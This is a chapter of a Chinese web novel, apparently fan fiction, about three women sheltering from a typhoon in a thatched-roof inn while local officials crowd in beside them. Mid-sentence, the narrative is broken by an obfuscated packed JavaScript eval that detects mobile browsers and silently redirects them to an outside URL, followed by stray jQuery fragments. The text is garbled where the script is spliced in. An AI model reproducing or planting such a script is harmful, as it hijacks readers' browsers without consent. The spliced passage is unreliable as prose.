等待的滋味，比直面风暴更磨人。


    闷热、寂静、以及那越来越低沉、仿佛贴着海面滚动的隐隐雷鸣，将时间拉得无比漫长。我们三人待在昏暗的屋内，几乎能听到彼此的心跳和压抑的呼吸声。汗水不断从额头、脊背渗出，黏腻腻地附着在粗糙的麻布衣上，让人坐立难安。空气似乎凝固了，带着咸腥和土腥，沉重得吸不进肺里。


    就在这种令人窒息的寂静达到顶点时——


    “呜——呜呜——”


    一种低沉、悠长、仿佛从地心深处、又从遥远海平线同时传来的、非人非兽的咆哮，骤然撕破了寂静！那不是风啸，更像是巨兽苏醒时，从喉咙深处滚出的、充满毁灭欲望的怒吼。紧接着，是无数细碎尖锐的、如同鬼哭狼嚎般的呼啸声，从四面八方席卷而来，瞬间充斥了天地间的每一寸空隙！


    台风，来了！


    几乎在嘶吼声响起的同一刹那，密集到令人头皮发麻的“噼里啪啦”声，如同万千顽童将豆子疯狂砸向铁皮屋顶，又像无数无形的鞭子狠狠抽打着大地万物，狂暴地砸在我们头顶厚厚的茅草屋顶上！是雨！不，这已不是“雨”，这是天河决堤，是亿万水箭自九霄倾泻而下！那声音如此密集、如此粗暴，瞬间就掩盖了风的咆哮，只剩下一种纯粹的、震耳欲聋的轰响，仿佛我们这艘“船型屋”正航行在瀑布之下，承受着亿万吨水流的冲击！


    “快！拿盆！接水！” 我猛地从床边站起，大声喊道，声音在暴雨的轰鸣中显得微弱不堪。虽然老板信誓旦旦，虽然这茅草顶厚达三尺，但面对如此狂暴的雨势，我本能地不敢全信。在北方，即便是琉璃瓦顶的宫殿，暴雨如注时也难免有薄弱处渗漏，何况这草木之顶？


    沈眉庄和剪秋也回过神来，慌忙在屋里寻找能接水的器皿。好在客栈准备还算周全，屋里角落放着两个半旧的瓦盆和一个木桶。我们手忙脚乱地将它们摆放在屋内几个可能容易渗水的位置——墙角、梁柱下方、尤其是那扇唯一的小窗附近，虽然窗板已经扣死，但缝隙处仍是隐患。


    然而，令人惊讶且庆幸的是，那看似简陋的、用无数茅草芦苇层层捆扎的厚实屋顶，在这等恐怖的雨势下，竟然真的展现出了它“最优解”的韧性！除了靠近门缝和窗板边缘的泥地上，因狂风裹挟雨滴从极细微的缝隙中强行钻入，而洇湿了几小滩水渍外，整个屋顶竟真的没有出现大规模的、明显的漏雨！只有少数几处，大概是茅草捆扎时略有疏密不均，在暴雨最密集狂暴的冲击下，偶尔会渗出几滴细细的水线，顺着茅草杆缓慢滑落，滴在早已准备好的瓦盆里，发出“嗒、嗒”的轻响，在这屋外震耳欲聋的暴雨声中，几乎微不可闻。


    我们三人提着的心，稍稍放下了一些。沈眉庄长舒一口气，擦了擦额角的汗，低声道：“这茅草……竟真有些门道。”


    剪秋也点点头，脸上惊魂未定，但眼中已多了几分信服：“老板说得不错，厚实，有弹性，雨水打上去，声音虽响，力道却被层层消解了，不像瓦片，硬碰硬……”


    我们刚松了口气，剪秋却忽然脸色微变，捂着肚子，露出尴尬又急切的神色：“姐姐，我……我得去解个手……” 人有三急，台风天也不例外。


    客栈的茅厕设在院子最角落，是一个用木板搭成的、离地约一人高的简易棚屋，下面就是深深的粪坑。为了防风，也为了相对干净，如厕需要爬上一段简陋的木梯，到那“二楼”的狭窄隔间去。


    “这个时候出去？” 沈眉庄一惊，看着门外那被狂风暴雨扭曲的、白茫茫一片的世界，连院中的景物都看不清，只有疯狂摇曳的树木黑影和横飞的杂物。


    “忍不了……” 剪秋苦着脸，但也知道危险。


    “快去快回，贴着墙根走，抓紧绳子！” 我沉声道，想起进客栈时，老板特意在几处主要建筑之间拉起了粗麻绳，作为风雨中行走的牵引。剪秋点点头，深吸一口气，猛地拉开门，一股湿冷狂暴的气流夹杂着雨点瞬间倒灌进来，吹得人几乎睁不开眼。她迅速侧身挤出去，反手带上门，身影没入那片狂暴的昏暗中。


    等待的时间显得格外漫长。狂风呼啸着，不时有重物被卷起、砸落的可怕声响传来，混合着树木枝干折断的“咔嚓”声。我们紧紧盯着门口，心中担忧不已。


    约莫过了一盏茶极其难熬的功夫，房门再次被猛地拉开，剪秋像落汤鸡一样冲了进来，浑身湿透，头发紧贴在脸上，滴滴答答往下淌水，脸色苍白，嘴唇都有些发紫，不知是冷的还是吓的。她背靠着关紧的门，大口喘着气，胸膛剧烈起伏，好半晌才缓过劲来。


    “我的天爷……” 剪秋的声音带着颤，眼神里满是后怕，“这、这哪是下雨啊……简直、简直就像谁把天河给挖漏了，直着往下倒！从屋里到茅厕，就那么十几步路，我抓着绳子，差点、差点被风吹跑！雨点打在身上，生疼！眼睛根本睁不开！那茅厕……” 她脸


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16963332|193341||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    上浮现出一抹难以抑制的恶心表情，拍了拍胸口，才继续道，“还好……还好那坑位设在二楼板上，老板说前几日刚请人掏过粪坑，清得见底了。不然，就刚才那一下子，雨倒灌进去，坑里非溢出来不可！饶是如此，那下面……唉，不提也罢，味儿都冲得很！”


    沈眉庄忙拿了块干布给她擦头发，又去找干净衣服。我听着剪秋的描述，想象着那幅场景，心中亦是凛然。这已不是寻常风雨，而是真正的自然之怒，是能够轻易夺走性命、摧毁家园的狂暴力量。客栈的应对——低矮的船型屋、厚厚的茅草顶、预先清空的粪坑、风雨中的牵引绳——看似简陋，却是在无数次教训中积累的、关乎生存的精细算计。


    就在这时，屋外除了风雨声，似乎隐隐传来些嘈杂的人声，但很快又被风声雨声淹没。我们正疑惑间，房门被轻轻叩响，是老板的声音，隔着门板大喊：“客官！莫慌！是州衙的几位老爷，还有衙役书吏，过来避风了！人多，可能有些动静，你们关好门，莫出来！”


    果然，不一会儿，隔壁几间空房传来了开关门声、沉重的脚步声、器物放置声，以及男子们刻意压低但仍难掩狼狈的交谈声：


    “呸！这鬼天气！新修的茅草顶，可千万撑住啊！”


    “唉，去年瓦片飞的教训还不够？赶紧把文书箱搁高点，别潮了！”


    “这风……比去岁还邪性！海里还不知道成什么样了……”


    “知州大人让咱们挤挤，先将就几日，等风过了再说……”


    听着这些话语，我与沈眉庄、剪秋相视无言。曾经高高在上、瓦顶森严的州衙官署，如今也不得不效仿民间“土法”，甚至在这狂风暴雨中，挤进这不起眼的客栈船型屋以求安身。这何尝不是一种最直接的“教化”？在这横扫一切、不分贵贱的自然伟力面前，所谓的体统、规制、官威，都显得如此苍白可笑。唯有尊重脚下这片土地的特性，遵循它那严酷的法则，运用最朴素的智慧，才能求得一线生存之机。


    茅草顶在我们头上沙沙作响，承受着瀑布般的冲击，却依然坚固。屋外，狂风怒吼，暴雨如注，天地一片混沌。而我们躲在这小小的、由草木构成的“方舟”之内，第一次如此真切地感受到，人力在自然面前的渺小，以及那渺小之中，所迸发出的、为了生存而锻造出的、惊人的坚韧与智慧。


    这场风，还要刮很久。但我们知道，这屋子，大约是真的能撑过去了。